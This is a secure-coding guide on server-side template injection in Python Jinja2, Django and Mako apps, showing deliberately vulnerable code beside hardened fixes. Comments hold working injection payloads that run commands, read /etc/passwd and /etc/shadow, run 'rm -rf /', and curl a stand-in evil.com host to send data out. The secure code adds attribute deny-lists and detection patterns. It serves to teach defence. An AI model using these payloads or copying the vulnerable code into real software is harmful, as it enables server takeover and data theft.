Server-Side Template Injection in Python

Critical Risk Command Injection
pythontemplate-injectionjinja2djangomakosstirceuser-inputweb-application

What it is

A critical security vulnerability where user-controlled input is inserted into template engines (like Jinja2, Django templates, or Mako) without proper sanitization, allowing attackers to inject and execute arbitrary template code. This can lead to remote code execution, information disclosure, file system access, and complete server compromise through template engine features that allow calling Python functions and accessing objects.

from flask import Flask, request, render_template_string
from jinja2 import Template, Environment
import os

app = Flask(__name__)

# VULNERABLE: Direct user input in template string
@app.route('/greet')
def greet_user():
    username = request.args.get('name', 'Guest')
    
    # Extremely dangerous - user input becomes template code
    template_string = f"<h1>Hello {username}!</h1>"
    return render_template_string(template_string)

# VULNERABLE: User-controlled template content
@app.route('/custom-page')
def custom_page():
    page_content = request.form.get('content', '')
    
    # Dangerous - entire template from user input
    template = Template(page_content)
    return template.render(user=request.args.get('user', 'Anonymous'))

# VULNERABLE: Template with dangerous globals
@app.route('/calculate')
def calculate():
    expression = request.args.get('expr', '1+1')
    
    # Dangerous environment with access to system functions
    env = Environment()
    env.globals['os'] = os
    env.globals['eval'] = eval
    env.globals['open'] = open
    
    template_string = f"Result: {{{{ {expression} }}}}"
    template = env.from_string(template_string)
    
    return template.render()

# VULNERABLE: Unsafe template rendering with user data
@app.route('/profile/<username>')
def user_profile(username):
    bio = request.args.get('bio', 'No bio available')
    
    # User bio can contain template injection
    template_string = f"""
    <div class="profile">
        <h2>{username}</h2>
        <p>{bio}</p>
    </div>
    """
    
    return render_template_string(template_string)

if __name__ == '__main__':
    app.run(debug=True)

# Attack examples:
# /greet?name={{config}}
# /greet?name={{self.__init__.__globals__['sys'].modules['os'].system('id')}}
# /greet?name={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].exit(1)}}
# /custom-page (POST content={{7*7}}{{config.SECRET_KEY}})
# /calculate?expr=__import__('os').system('cat /etc/passwd')
# /profile/admin?bio={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
from flask import Flask, request, render_template, escape, abort
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment
from jinja2.exceptions import SecurityError
import html
import re
from typing import Dict, Any

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

# SECURE: Properly configured sandboxed environment
class SecureTemplateConfig:
    def __init__(self):
        # Create sandboxed environment
        self.env = SandboxedEnvironment(
            loader=FileSystemLoader('templates'),
            autoescape=select_autoescape(['html', 'xml']),
            trim_blocks=True,
            lstrip_blocks=True
        )
        
        # Clear all globals and add only safe ones
        self.env.globals.clear()
        self.env.globals.update({
            'len': len,
            'str': str,
            'int': self._safe_int,
            'abs': abs,
            'min': min,
            'max': max
        })
        
        # Add safe filters
        self.env.filters.update({
            'safe_truncate': self._safe_truncate,
            'format_phone': self._format_phone
        })
        
        # Override attribute access control
        self.env.is_safe_attribute = self._is_safe_attribute
    
    def _safe_int(self, value, default=0):
        try:
            return int(value)
        except (ValueError, TypeError):
            return default
    
    def _safe_truncate(self, text, length=100):
        if not isinstance(text, str):
            return ''
        return text[:length] + '...' if len(text) > length else text
    
    def _format_phone(self, phone):
        if not isinstance(phone, str):
            return ''
        digits = re.sub(r'\D', '', phone)
        if len(digits) == 10:
            return f"({digits[:3]}) {digits[3:6]}-{digits[6:]}"
        return phone[:20]
    
    def _is_safe_attribute(self, obj, attr, value):
        # Block access to dangerous attributes
        dangerous_attrs = {
            '__class__', '__mro__', '__subclasses__', '__globals__',
            '__builtins__', '__import__', '__loader__', '__spec__',
            'func_globals', 'gi_frame', 'gi_code', 'cr_frame', 'cr_code'
        }
        return not (attr.startswith('_') or attr in dangerous_attrs)

# Initialize secure template configuration
template_config = SecureTemplateConfig()

# Input validation functions
def validate_username(username):
    """Validate username format"""
    pattern = r'^[a-zA-Z0-9_-]{1,50}$'
    return isinstance(username, str) and re.match(pattern, username)

def validate_bio(bio):
    """Validate bio content"""
    if not isinstance(bio, str):
        return False
    
    # Check length
    if len(bio) > 1000:
        return False
    
    # Check for dangerous patterns
    dangerous_patterns = [
        r'\{\{.*?\}\}',  # Template syntax
        r'\{%.*?%\}',   # Template blocks
        r'<script.*?>.*?</script>',  # Script tags
        r'javascript:',  # JavaScript protocol
        r'on\w+\s*=',   # Event handlers
    ]
    
    for pattern in dangerous_patterns:
        if re.search(pattern, bio, re.IGNORECASE | re.DOTALL):
            return False
    
    return True

def validate_expression(expression):
    """Validate mathematical expression"""
    if not isinstance(expression, str) or len(expression) > 100:
        return False
    
    # Only allow basic mathematical operations
    pattern = r'^[0-9+\-*\/\(\)\s\.]+$'
    return re.match(pattern, expression)

# SECURE: Safe greeting with validation
@app.route('/greet')
def greet_user():
    username = request.args.get('name', 'Guest')
    
    # Validate username
    if not validate_username(username):
        abort(400, "Invalid username format")
    
    try:
        # Use predefined template file - never render user input as template
        return render_template('greeting.html', username=escape(username))
    except Exception as e:
        app.logger.error(f"Template rendering error: {e}")
        return render_template('error.html', message="Greeting unavailable")

# SECURE: Predefined templates only
@app.route('/custom-page')
def custom_page():
    page_type = request.args.get('type', 'default')
    
    # Only allow predefined page types
    allowed_types = {'default', 'about', 'contact', 'help'}
    if page_type not in allowed_types:
        abort(400, "Invalid page type")
    
    try:
        # Use predefined templates based on type
        template_name = f'pages/{page_type}.html'
        return render_template(template_name)
    except Exception as e:
        app.logger.error(f"Page rendering error: {e}")
        return render_template('error.html', message="Page unavailable")

# SECURE: Safe mathematical calculation
@app.route('/calculate')
def calculate():
    expression = request.args.get('expr', '1+1')
    
    # Validate expression format
    if not validate_expression(expression):
        abort(400, "Invalid mathematical expression")
    
    try:
        # Use safe math evaluation instead of template injection
        import math
        
        # Create safe evaluation context
        safe_dict = {
            '__builtins__': {},
            'abs': abs, 'min': min, 'max': max,
            'round': round, 'pow': pow,
            'sqrt': math.sqrt, 'sin': math.sin, 'cos': math.cos
        }
        
        # Evaluate safely
        result = eval(expression, safe_dict, {})
        
        # Validate result
        if not isinstance(result, (int, float)) or not math.isfinite(result):
            raise ValueError("Invalid calculation result")
        
        return render_template('calculation.html', 
                             expression=escape(expression), 
                             result=result)
    
    except Exception as e:
        app.logger.error(f"Calculation error: {e}")
        return render_template('error.html', message="Calculation failed")

# SECURE: Safe profile rendering with validation
@app.route('/profile/<username>')
def user_profile(username):
    bio = request.args.get('bio', 'No bio available')
    
    # Validate inputs
    if not validate_username(username):
        abort(400, "Invalid username")
    
    if not validate_bio(bio):
        abort(400, "Invalid bio content")
    
    try:
        # Prepare safe template data
        profile_data = {
            'username': escape(username),
            'bio': escape(bio),  # Always escape user content
            'join_date': '2023-01-01',  # From database
            'post_count': 42  # From database
        }
        
        # Use predefined template with escaped data
        return render_template('profile.html', **profile_data)
        
    except Exception as e:
        app.logger.error(f"Profile rendering error: {e}")
        return render_template('error.html', message="Profile unavailable")

# SECURE: Advanced template rendering with sandboxing
@app.route('/advanced-profile/<username>')
def advanced_profile(username):
    if not validate_username(username):
        abort(400, "Invalid username")
    
    try:
        # Get user data from database (simulated)
        user_data = {
            'username': username,
            'email': f"{username}@example.com",
            'bio': request.args.get('bio', 'No bio'),
            'posts': [
                {'title': 'Post 1', 'content': 'Content 1'},
                {'title': 'Post 2', 'content': 'Content 2'}
            ]
        }
        
        # Validate bio separately
        if not validate_bio(user_data['bio']):
            user_data['bio'] = 'Bio content unavailable'
        
        # Render using secure sandboxed environment
        template = template_config.env.get_template('advanced_profile.html')
        
        # Validate all data before rendering
        validated_data = validate_template_data(user_data)
        
        html_content = template.render(**validated_data)
        return html_content
        
    except SecurityError as e:
        app.logger.warning(f"Template security violation: {e}")
        return render_template('error.html', message="Security error")
    except Exception as e:
        app.logger.error(f"Advanced profile error: {e}")
        return render_template('error.html', message="Profile unavailable")

def validate_template_data(data: Dict[str, Any]) -> Dict[str, Any]:
    """Comprehensive template data validation"""
    validated = {}
    
    for key, value in data.items():
        # Validate key format
        if not re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', key):
            continue
        
        # Validate and sanitize values
        if isinstance(value, str):
            if len(value) <= 1000:  # Reasonable length limit
                validated[key] = escape(value)
        elif isinstance(value, (int, float, bool)):
            validated[key] = value
        elif isinstance(value, list):
            validated[key] = [validate_list_item(item) for item in value[:100]]
        elif isinstance(value, dict):
            validated[key] = validate_template_data(value)
    
    return validated

def validate_list_item(item):
    """Validate individual list items"""
    if isinstance(item, str):
        return escape(item[:500])  # Limit length
    elif isinstance(item, (int, float, bool)):
        return item
    elif isinstance(item, dict):
        return validate_template_data(item)
    else:
        return str(item)[:100]  # Convert to string with limit

# Error handling
@app.errorhandler(400)
def bad_request(error):
    return render_template('error.html', 
                         message="Invalid request"), 400

@app.errorhandler(500)
def internal_error(error):
    return render_template('error.html', 
                         message="Internal error"), 500

if __name__ == '__main__':
    app.run(debug=False)  # Never run with debug=True in production

# Template files would be:
# templates/greeting.html: <h1>Hello {{username}}!</h1>
# templates/profile.html: 
# <div class="profile">
#     <h2>{{username}}</h2>
#     <p>{{bio}}</p>
#     <p>Joined: {{join_date}}</p>
#     <p>Posts: {{post_count}}</p>
# </div>
# templates/calculation.html:
# <div class="result">
#     <p>Expression: {{expression}}</p>
#     <p>Result: {{result}}</p>
# </div>
# templates/error.html:
# <div class="error">
#     <h2>Error</h2>
#     <p>{{message}}</p>
# </div>

💡 Why This Fix Works

The vulnerable code directly embeds user input into template strings and provides dangerous globals, allowing template injection attacks. The secure version uses predefined templates, comprehensive input validation, sandboxed environments, autoescaping, and treats all user input as data rather than template code.

# Django vulnerable template system
from django.template import Template, Context, Library
from django.template.loader import get_template
from django.http import HttpResponse
from django.shortcuts import render
import subprocess
import os

# VULNERABLE: Custom template tag with dangerous functionality
register = Library()

@register.simple_tag
def execute_command(command):
    """Dangerous custom tag that executes system commands"""
    try:
        result = subprocess.check_output(command, shell=True, text=True)
        return result
    except Exception as e:
        return f"Error: {e}"

@register.simple_tag
def read_file(filename):
    """Dangerous custom tag that reads files"""
    try:
        with open(filename, 'r') as f:
            return f.read()
    except Exception as e:
        return f"Error: {e}"

@register.simple_tag
def eval_expression(expression):
    """Extremely dangerous tag that evaluates Python code"""
    try:
        return eval(expression)
    except Exception as e:
        return f"Error: {e}"

# VULNERABLE: View that processes user templates
def render_user_template(request):
    user_template = request.POST.get('template', '')
    user_data = request.POST.get('data', '{}')
    
    try:
        # Dangerous - user controls template content
        template = Template(user_template)
        
        # Parse user data (also dangerous if not validated)
        import json
        context_data = json.loads(user_data)
        
        context = Context(context_data)
        rendered = template.render(context)
        
        return HttpResponse(rendered)
    except Exception as e:
        return HttpResponse(f"Error: {e}")

# VULNERABLE: View with user-controlled template variables
def dynamic_content(request):
    content_type = request.GET.get('type', 'default')
    user_input = request.GET.get('input', '')
    
    # User input in template context without validation
    context = {
        'user_content': user_input,  # Dangerous if used with |safe filter
        'content_type': content_type
    }
    
    # Template might contain: {{ user_content|safe }}
    # This allows HTML/JavaScript injection
    return render(request, 'dynamic.html', context)

# VULNERABLE: Admin interface with template editing
def admin_template_editor(request):
    if request.method == 'POST':
        template_name = request.POST.get('template_name')
        template_content = request.POST.get('content')
        
        # Dangerous - saves user template without validation
        template_path = f'templates/{template_name}'
        
        with open(template_path, 'w') as f:
            f.write(template_content)
        
        return HttpResponse("Template saved")
    
    return render(request, 'admin/template_editor.html')

# Example vulnerable templates:
# user_template = "{% load custom_tags %}{% execute_command 'cat /etc/passwd' %}"
# user_template = "{% load custom_tags %}{% read_file '/etc/shadow' %}"
# user_template = "{% load custom_tags %}{% eval_expression '__import__("os").system("rm -rf /")' %}"
# dynamic.html: <div>{{ user_content|safe }}</div>  # Allows script injection
# Django secure template system
from django.template import Template, Context, Library
from django.template.loader import get_template
from django.http import HttpResponse, HttpResponseBadRequest
from django.shortcuts import render
from django.utils.html import escape, format_html
from django.core.exceptions import ValidationError
from django.views.decorators.csrf import csrf_protect
import json
import re
import math
import datetime
from typing import Dict, Any, List

# SECURE: Custom template tags with restricted functionality
register = Library()

@register.simple_tag
def safe_format_currency(amount):
    """Safe currency formatting"""
    try:
        value = float(amount)
        if not math.isfinite(value) or abs(value) > 1e10:
            return "$0.00"
        return f"${value:.2f}"
    except (ValueError, TypeError):
        return "$0.00"

@register.simple_tag
def safe_format_date(date_obj, format_string='%Y-%m-%d'):
    """Safe date formatting with allowlisted formats"""
    allowed_formats = {
        '%Y-%m-%d', '%m/%d/%Y', '%B %d, %Y', 
        '%Y-%m-%d %H:%M', '%m/%d/%Y %I:%M %p'
    }
    
    if format_string not in allowed_formats:
        format_string = '%Y-%m-%d'
    
    try:
        if hasattr(date_obj, 'strftime'):
            return date_obj.strftime(format_string)
        return str(date_obj)
    except (AttributeError, ValueError):
        return 'Invalid date'

@register.simple_tag
def safe_truncate_text(text, max_length=100):
    """Safely truncate text with HTML escaping"""
    if not isinstance(text, str):
        text = str(text)
    
    escaped_text = escape(text)
    if len(escaped_text) <= max_length:
        return escaped_text
    
    return escaped_text[:max_length] + '...'

@register.simple_tag
def safe_math_operation(operation, a, b):
    """Safe mathematical operations with allowlisted functions"""
    allowed_operations = {
        'add': lambda x, y: x + y,
        'subtract': lambda x, y: x - y,
        'multiply': lambda x, y: x * y,
        'divide': lambda x, y: x / y if y != 0 else 0,
        'power': lambda x, y: x ** y if abs(y) <= 10 else 0,
        'min': min,
        'max': max
    }
    
    if operation not in allowed_operations:
        return 0
    
    try:
        num_a = float(a)
        num_b = float(b)
        
        # Validate input ranges
        if not (math.isfinite(num_a) and math.isfinite(num_b)):
            return 0
        
        if abs(num_a) > 1e10 or abs(num_b) > 1e10:
            return 0
        
        result = allowed_operations[operation](num_a, num_b)
        
        # Validate result
        if not math.isfinite(result) or abs(result) > 1e10:
            return 0
        
        return round(result, 6)  # Limit precision
        
    except (ValueError, TypeError, ZeroDivisionError, OverflowError):
        return 0

# Input validation functions
class TemplateValidator:
    @staticmethod
    def validate_template_name(name):
        """Validate template names to prevent path traversal"""
        if not isinstance(name, str):
            return False
        
        # Allowlist pattern for template names
        pattern = r'^[a-zA-Z0-9_/-]+\.(html|txt)$'
        
        return (
            len(name) <= 100 and
            re.match(pattern, name) and
            '..' not in name and
            not name.startswith('/') and
            not name.startswith('..')
        )
    
    @staticmethod
    def validate_user_input(user_input, max_length=1000):
        """Validate user input for templates"""
        if not isinstance(user_input, str):
            return False
        
        if len(user_input) > max_length:
            return False
        
        # Check for dangerous patterns
        dangerous_patterns = [
            r'<script.*?>.*?</script>',
            r'javascript:',
            r'on\w+\s*=',
            r'expression\s*\(',
            r'@import',
            r'\{%.*?%\}',  # Django template tags
            r'\{\{.*?\}\}',  # Django variables with potential injection
        ]
        
        for pattern in dangerous_patterns:
            if re.search(pattern, user_input, re.IGNORECASE | re.DOTALL):
                return False
        
        return True
    
    @staticmethod
    def validate_json_data(json_string, max_size=10000):
        """Safely validate and parse JSON data"""
        if not isinstance(json_string, str) or len(json_string) > max_size:
            raise ValidationError("Invalid JSON size")
        
        try:
            data = json.loads(json_string)
            return TemplateValidator._validate_data_structure(data)
        except json.JSONDecodeError:
            raise ValidationError("Invalid JSON format")
    
    @staticmethod
    def _validate_data_structure(obj, depth=0):
        """Recursively validate data structure"""
        if depth > 10:
            raise ValidationError("Data nested too deeply")
        
        if isinstance(obj, dict):
            if len(obj) > 100:
                raise ValidationError("Dictionary too large")
            
            validated = {}
            for key, value in obj.items():
                if not isinstance(key, str) or len(key) > 100:
                    continue
                
                if not re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', key):
                    continue
                
                validated[key] = TemplateValidator._validate_data_structure(
                    value, depth + 1
                )
            return validated
        
        elif isinstance(obj, list):
            if len(obj) > 1000:
                raise ValidationError("List too large")
            
            return [
                TemplateValidator._validate_data_structure(item, depth + 1)
                for item in obj[:100]  # Limit processed items
            ]
        
        elif isinstance(obj, str):
            if len(obj) > 10000:
                raise ValidationError("String too long")
            return escape(obj)  # Always escape strings
        
        elif isinstance(obj, (int, float, bool, type(None))):
            return obj
        
        else:
            # Convert unknown types to escaped strings
            return escape(str(obj)[:1000])

# SECURE: Predefined template rendering only
@csrf_protect
def render_safe_template(request):
    template_name = request.POST.get('template_name', 'default')
    user_data_json = request.POST.get('data', '{}')
    
    # Validate template name against allowlist
    allowed_templates = {
        'default': 'safe/default.html',
        'profile': 'safe/profile.html',
        'report': 'safe/report.html',
        'summary': 'safe/summary.html'
    }
    
    if template_name not in allowed_templates:
        return HttpResponseBadRequest("Invalid template name")
    
    try:
        # Validate and parse user data
        validated_data = TemplateValidator.validate_json_data(user_data_json)
        
        # Use predefined template with validated data
        template_path = allowed_templates[template_name]
        return render(request, template_path, {
            'safe_data': validated_data,
            'current_user': escape(str(request.user)),
            'timestamp': datetime.datetime.now()
        })
        
    except ValidationError as e:
        return HttpResponseBadRequest(f"Data validation error: {e}")
    except Exception as e:
        # Log error securely
        import logging
        logger = logging.getLogger(__name__)
        logger.error(f"Template rendering error: {type(e).__name__}")
        
        return render(request, 'error.html', {
            'message': 'Content temporarily unavailable'
        })

# SECURE: Safe dynamic content with validation
@csrf_protect
def safe_dynamic_content(request):
    content_type = request.GET.get('type', 'default')
    user_input = request.GET.get('input', '')
    
    # Validate content type
    allowed_types = {'default', 'announcement', 'help', 'about'}
    if content_type not in allowed_types:
        content_type = 'default'
    
    # Validate user input
    if not TemplateValidator.validate_user_input(user_input):
        user_input = ''
    
    # Always escape user content - never use |safe filter with user input
    context = {
        'user_content': escape(user_input),  # Explicitly escaped
        'content_type': content_type,
        'is_valid_input': bool(user_input)
    }
    
    return render(request, 'safe_dynamic.html', context)

# SECURE: Restricted admin interface
@csrf_protect
def secure_admin_interface(request):
    # Check admin permissions
    if not request.user.is_superuser:
        return HttpResponseBadRequest("Access denied")
    
    if request.method == 'POST':
        action = request.POST.get('action')
        
        if action == 'validate_template':
            template_content = request.POST.get('content', '')
            
            # Validate template content for security issues
            validation_result = validate_template_content(template_content)
            
            return render(request, 'admin/validation_result.html', {
                'result': validation_result
            })
        
        else:
            return HttpResponseBadRequest("Invalid action")
    
    return render(request, 'admin/secure_interface.html')

def validate_template_content(content):
    """Validate template content for security issues"""
    if not isinstance(content, str):
        return {'valid': False, 'errors': ['Content must be text']}
    
    if len(content) > 50000:
        return {'valid': False, 'errors': ['Template too large']}
    
    errors = []
    warnings = []
    
    # Check for dangerous patterns
    dangerous_patterns = {
        r'\{%\s*load\s+\w+': 'Custom template tag loading detected',
        r'\|\s*safe': 'Usage of |safe filter detected - ensure input is trusted',
        r'<script.*?>': 'Script tag detected',
        r'javascript:': 'JavaScript protocol detected',
        r'on\w+\s*=': 'Event handler detected'
    }
    
    for pattern, message in dangerous_patterns.items():
        if re.search(pattern, content, re.IGNORECASE):
            if 'safe' in pattern:
                warnings.append(message)
            else:
                errors.append(message)
    
    # Check for proper escaping
    variable_pattern = r'\{\{\s*([^}]+)\s*\}\}'
    for match in re.finditer(variable_pattern, content):
        variable = match.group(1).strip()
        if '|escape' not in variable and '|e' not in variable:
            warnings.append(f"Variable '{variable}' should use escape filter")
    
    return {
        'valid': len(errors) == 0,
        'errors': errors,
        'warnings': warnings,
        'recommendations': [
            'Always use {{ variable|escape }} for user-provided content',
            'Avoid using |safe filter with user input',
            'Use predefined templates when possible',
            'Validate all user input before template rendering'
        ]
    }

# Safe template examples:
# safe/default.html:
# <div class="content">
#     <h2>Welcome</h2>
#     <p>{{ safe_data.message|escape }}</p>  <!-- Always escaped -->
#     <p>User: {{ current_user }}</p>
# </div>

# safe_dynamic.html:
# <div class="dynamic-content">
#     <h2>{{ content_type|title }}</h2>
#     {% if is_valid_input %}
#         <p>Content: {{ user_content }}</p>  <!-- Pre-escaped in view -->
#     {% else %}
#         <p>No valid content provided</p>
#     {% endif %}
# </div>

# Error handling middleware
class SecureTemplateErrorMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        try:
            response = self.get_response(request)
            return response
        except Exception as e:
            # Log security-relevant errors
            import logging
            logger = logging.getLogger('security')
            logger.warning(f"Template security error: {type(e).__name__}")
            
            # Return safe error response
            return render(request, 'error.html', {
                'message': 'An error occurred while processing your request'
            })

# Settings.py additions for security:
# TEMPLATES = [{
#     'BACKEND': 'django.template.backends.django.DjangoTemplates',
#     'OPTIONS': {
#         'context_processors': [...],
#         'string_if_invalid': '',  # Don't expose invalid variable names
#         'debug': False,  # Never enable debug in production
#     },
# }]

# Additional security headers
class SecurityHeadersMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        response = self.get_response(request)
        
        # Add security headers
        response['Content-Security-Policy'] = (
            "default-src 'self'; "
            "script-src 'self'; "
            "style-src 'self' 'unsafe-inline'; "
            "img-src 'self' data:; "
            "object-src 'none'"
        )
        response['X-Content-Type-Options'] = 'nosniff'
        response['X-Frame-Options'] = 'DENY'
        response['X-XSS-Protection'] = '1; mode=block'
        
        return response

💡 Why This Fix Works

The vulnerable Django code allows user-controlled template content and provides dangerous custom template tags that execute system commands. The secure version uses predefined templates only, implements comprehensive input validation, restricts custom template tags to safe operations, always escapes user input, and includes security middleware for defense-in-depth.

Why it happens

Directly embedding user input into Jinja2 templates without proper sanitization or using unsafe rendering methods. Jinja2 provides access to Python objects and functions through its template syntax, allowing attackers to call methods, access attributes, and execute arbitrary Python code when user input is treated as template code.

Root causes

Unsafe Jinja2 Template Rendering with User Input

Directly embedding user input into Jinja2 templates without proper sanitization or using unsafe rendering methods. Jinja2 provides access to Python objects and functions through its template syntax, allowing attackers to call methods, access attributes, and execute arbitrary Python code when user input is treated as template code.

Preview example – PYTHON
from jinja2 import Template

# VULNERABLE: User input directly in template
def render_greeting(username):
    # Dangerous - user input becomes part of template
    template_string = f"Hello {username}!"
    template = Template(template_string)
    return template.render()

# VULNERABLE: Using from_string with user input
def render_custom_message(user_template, data):
    # Extremely dangerous - entire template from user
    template = Template(user_template)
    return template.render(**data)

# Attack examples:
# username = "{{ self.__init__.__globals__['sys'].modules['os'].system('rm -rf /') }}"
# user_template = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].exit(1) }}"

Django Template Injection through User-Controlled Context

Injecting user input into Django template context or template strings without proper validation. While Django templates are generally safer than Jinja2, they can still be exploited when user input controls template content or when custom template tags/filters provide access to dangerous functionality.

Preview example – PYTHON
from django.template import Template, Context
from django.template.loader import get_template

# VULNERABLE: User input in template string
def render_dynamic_content(user_content):
    # Dangerous - user controls template content
    template_string = f"<div>{user_content}</div>"
    template = Template(template_string)
    return template.render(Context({}))

# VULNERABLE: User input in template context with unsafe filters
def render_with_user_data(template_name, user_data):
    template = get_template(template_name)
    
    # If template contains: {{ user_input|safe }}
    # And user_data contains template syntax, it can be exploited
    context = Context({'user_input': user_data})
    return template.render(context)

# Attack: user_data = "{% load custom_tags %}{% dangerous_tag %}"

Mako Template Engine Exploitation

Mako templates allow arbitrary Python code execution by design, making them extremely dangerous when user input is involved. The <%...%> syntax allows direct Python code execution, and user input can easily inject malicious code into template rendering.

Preview example – PYTHON
from mako.template import Template
from mako.lookup import TemplateLookup

# VULNERABLE: User input in Mako template
def render_mako_template(user_input):
    # Extremely dangerous - Mako executes Python code
    template_string = f"<% name = '{user_input}' %> Hello ${name}!"
    template = Template(template_string)
    return template.render()

# VULNERABLE: User-controlled template file
def render_user_template(template_content):
    # Direct code execution capability
    template = Template(template_content)
    return template.render()

# Attack examples:
# user_input = "'; import os; os.system('cat /etc/passwd'); x='"
# template_content = "<% import subprocess; subprocess.call(['rm', '-rf', '/']) %>"

Custom Template Functions and Filters

Implementing custom template functions, filters, or globals that provide access to dangerous Python functionality. When these custom extensions are available in templates that process user input, they can be exploited to gain code execution or access sensitive system resources.

Preview example – PYTHON
from jinja2 import Environment, FileSystemLoader
import subprocess
import os

# VULNERABLE: Dangerous custom functions in template environment
def create_unsafe_template_env():
    env = Environment(loader=FileSystemLoader('templates'))
    
    # Dangerous - exposes system functions to templates
    env.globals['execute_command'] = subprocess.call
    env.globals['read_file'] = open
    env.globals['os_system'] = os.system
    env.globals['eval_code'] = eval
    
    return env

def render_with_unsafe_globals(template_name, user_data):
    env = create_unsafe_template_env()
    template = env.get_template(template_name)
    
    # User data can reference dangerous globals
    return template.render(user_input=user_data)

# Attack in template file:
# {{ execute_command(['rm', '-rf', '/']) }}
# {{ os_system('curl http://evil.com/exfil.php?data=' + user_input) }}

Fixes

1

Use Autoescaping and Safe Template Rendering

Enable autoescaping in template engines and never render user input as template code. Treat user input as data only, using proper escaping and validation. Configure template engines with restricted environments that limit access to dangerous functions and objects.

View implementation – PYTHON
from jinja2 import Environment, FileSystemLoader, select_autoescape
from markupsafe import Markup, escape
import re

# SECURE: Properly configured Jinja2 environment
def create_secure_template_env():
    env = Environment(
        loader=FileSystemLoader('templates'),
        autoescape=select_autoescape(['html', 'xml']),  # Auto-escape HTML
        trim_blocks=True,
        lstrip_blocks=True
    )
    
    # Remove dangerous globals
    env.globals.pop('range', None)
    env.globals.pop('dict', None)
    env.globals.pop('list', None)
    
    # Add only safe custom functions
    env.globals['safe_format_date'] = safe_format_date
    env.globals['safe_truncate'] = safe_truncate
    
    return env

# SECURE: Safe template rendering with validation
def render_greeting_safe(username):
    # Validate and sanitize user input
    if not is_valid_username(username):
        raise ValueError("Invalid username format")
    
    # Escape user input - treat as data, not template code
    safe_username = escape(username)
    
    env = create_secure_template_env()
    template = env.get_template('greeting.html')
    
    # Pass as data to template, not as template code
    return template.render(username=safe_username)

# SECURE: Never render user input as template
def render_custom_message_safe(message_data):
    # Use predefined template with validated data
    env = create_secure_template_env()
    template = env.get_template('custom_message.html')
    
    # Validate all input data
    validated_data = validate_message_data(message_data)
    
    return template.render(**validated_data)

def is_valid_username(username):
    # Strict validation for usernames
    pattern = r'^[a-zA-Z0-9_-]{1,50}$'
    return isinstance(username, str) and re.match(pattern, username)

def validate_message_data(data):
    """Validate and sanitize all template data"""
    if not isinstance(data, dict):
        raise ValueError("Message data must be a dictionary")
    
    validated = {}
    allowed_keys = ['title', 'content', 'author', 'date']
    
    for key, value in data.items():
        if key not in allowed_keys:
            continue
            
        if isinstance(value, str):
            # Escape and validate string values
            if len(value) > 1000:
                raise ValueError(f"Value for {key} too long")
            validated[key] = escape(value)
        elif isinstance(value, (int, float)):
            validated[key] = value
        else:
            raise ValueError(f"Invalid data type for {key}")
    
    return validated

def safe_format_date(date_obj):
    """Safe date formatting function for templates"""
    try:
        return date_obj.strftime('%Y-%m-%d %H:%M')
    except (AttributeError, ValueError):
        return 'Invalid date'

def safe_truncate(text, length=100):
    """Safe text truncation for templates"""
    if not isinstance(text, str):
        return ''
    return text[:length] + '...' if len(text) > length else text
2

Implement Template Sandboxing

Use sandboxed template environments that restrict access to dangerous Python objects and functions. Create custom template environments with allowlists of safe functions and prevent access to object introspection methods that could lead to code execution.

View implementation – PYTHON
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment
from jinja2.exceptions import SecurityError
import datetime
import re

# SECURE: Sandboxed template environment
class SecureTemplateEngine:
    def __init__(self):
        # Use sandboxed environment
        self.env = SandboxedEnvironment(
            loader=FileSystemLoader('templates'),
            autoescape=select_autoescape(['html', 'xml']),
            trim_blocks=True,
            lstrip_blocks=True
        )
        
        # Override dangerous functions
        self.env.globals.clear()  # Remove all default globals
        
        # Add only safe functions
        self.env.globals.update({
            'len': len,
            'str': str,
            'int': self._safe_int,
            'float': self._safe_float,
            'bool': bool,
            'abs': abs,
            'min': min,
            'max': max,
            'round': round,
            'now': datetime.datetime.now,
            'format_currency': self._format_currency,
            'format_date': self._format_date
        })
        
        # Add safe filters
        self.env.filters.update({
            'safe_url': self._safe_url_filter,
            'truncate_words': self._truncate_words_filter,
            'format_phone': self._format_phone_filter
        })
        
        # Set security policy
        self.env.is_safe_attribute = self._is_safe_attribute
        
    def render_template(self, template_name, **context):
        """Safely render template with validated context"""
        try:
            # Validate template name
            if not self._is_valid_template_name(template_name):
                raise ValueError("Invalid template name")
            
            # Validate and sanitize context
            safe_context = self._validate_context(context)
            
            template = self.env.get_template(template_name)
            return template.render(**safe_context)
            
        except SecurityError as e:
            raise SecurityError(f"Template security violation: {e}")
        except Exception as e:
            raise RuntimeError(f"Template rendering failed: {e}")
    
    def _is_safe_attribute(self, obj, attr, value):
        """Determine if attribute access is safe"""
        # Block access to dangerous attributes
        dangerous_attrs = {
            '__class__', '__mro__', '__subclasses__', '__globals__',
            '__builtins__', '__import__', '__loader__', '__spec__',
            'func_globals', 'gi_frame', 'gi_code', 'cr_frame',
            'cr_code'
        }
        
        if attr.startswith('_') or attr in dangerous_attrs:
            return False
            
        # Only allow safe object types
        safe_types = (str, int, float, bool, list, dict, tuple, datetime.datetime)
        if not isinstance(obj, safe_types):
            return False
            
        return True
    
    def _validate_context(self, context):
        """Validate and sanitize template context"""
        if not isinstance(context, dict):
            raise ValueError("Context must be a dictionary")
        
        validated = {}
        max_context_size = 50  # Limit number of context variables
        
        if len(context) > max_context_size:
            raise ValueError("Too many context variables")
        
        for key, value in context.items():
            # Validate key
            if not self._is_valid_context_key(key):
                continue
                
            # Validate and sanitize value
            validated[key] = self._sanitize_context_value(value)
        
        return validated
    
    def _is_valid_context_key(self, key):
        """Validate context variable names"""
        pattern = r'^[a-zA-Z][a-zA-Z0-9_]{0,30}$'
        return isinstance(key, str) and re.match(pattern, key)
    
    def _sanitize_context_value(self, value):
        """Sanitize context values"""
        if isinstance(value, str):
            if len(value) > 10000:
                raise ValueError("String value too long")
            return value
        elif isinstance(value, (int, float, bool)):
            return value
        elif isinstance(value, (list, tuple)):
            if len(value) > 1000:
                raise ValueError("Collection too large")
            return [self._sanitize_context_value(item) for item in value[:100]]
        elif isinstance(value, dict):
